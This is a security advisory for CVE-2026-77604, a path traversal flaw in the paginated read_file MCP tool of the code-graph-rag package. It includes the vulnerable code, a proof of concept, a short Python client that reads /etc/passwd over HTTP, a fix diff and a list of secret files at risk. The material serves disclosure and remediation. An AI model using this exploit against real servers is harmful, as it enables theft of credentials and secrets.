Advisory

GHSA-vvr2-h2jp-838m

Also known as: CVE-2026-77604

Summary

Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read

Details

Summary

The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.

Details

Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)

The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:

# codebase_rag/mcp/tools.py:556-565
async def read_file(
    self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
    try:
        if offset is not None or limit is not None:
            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE
            start = offset if offset is not None else 0

            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK

Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.

The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.

Full data-flow (source → sink):

  1. codebase_rag/config.py:302 — HTTP MCP default host is 0.0.0.0.
  2. codebase_rag/cli.py:717 — CLI exposes mcp-server.
  3. codebase_rag/cli.py:726–731 — --transport http invokes serve_http(host=resolved_host, port=resolved_port).
  4. codebase_rag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint.
  5. codebase_rag/mcp/tools.py:227–249 — read_file is registered as an MCP tool accepting attacker-controlled file_path, offset, and limit.
  6. codebase_rag/mcp/server.py:113–127 — call_tool dispatches JSON arguments directly to the handler via await handler(**arguments).
  7. codebase_rag/mcp/tools.py:561–565 — paginated branch builds full_path and calls open(full_path) without any boundary check.

The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.

PoC

Prerequisites:

  • Docker installed.
  • Repository cloned with the vuln-001/ artifacts present (Dockerfile, poc.py).

Build and run:

# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc

The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.

What the PoC does (`poc.py`):

  1. Pre-mocks the mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database.
  2. Instantiates MCPToolsRegistry via object.__new__(), setting only self.project_root = "/tmp/safe-project-root" — matching what the real server does.
  3. Demonstrates the pathlib bypass: Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts").
  4. Calls registry.read_file("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package.
  5. Asserts that real /etc/hosts content is returned, confirming full boundary bypass.

Expected output:

[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::	ip6-localnet
ff00::	ip6-mcastprefix
ff02::1	ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Equivalent HTTP transport attack (when server is running):

python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "read_file",
                {"file_path": "/etc/passwd", "offset": 0, "limit": 10},
            )
            print(result.content[0].text)

anyio.run(main)
PY

Remediation:

--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Impact

This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.

An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:

  • /etc/passwd, /etc/shadow — credential disclosure.
  • Application secrets, API keys, .env files, or private keys stored anywhere on the host.
  • Source code or configuration outside the intended project repository.
  • Cloud instance metadata endpoints reachable via the local file path (e.g., /proc/self/environ for environment variable leakage).

The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-11-09 21:21 UTC
Modified
2026-11-10 10:57 UTC

Affected packages and fixes

code-graph-rag

PyPI · All systems

Affected

  • introduced 0, fixed 0.0.345 (ecosystem)

Fixed versions

0.0.345

Fix

  • Fixed version 0.0.345
    pip install --upgrade code-graph-rag==0.0.345

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences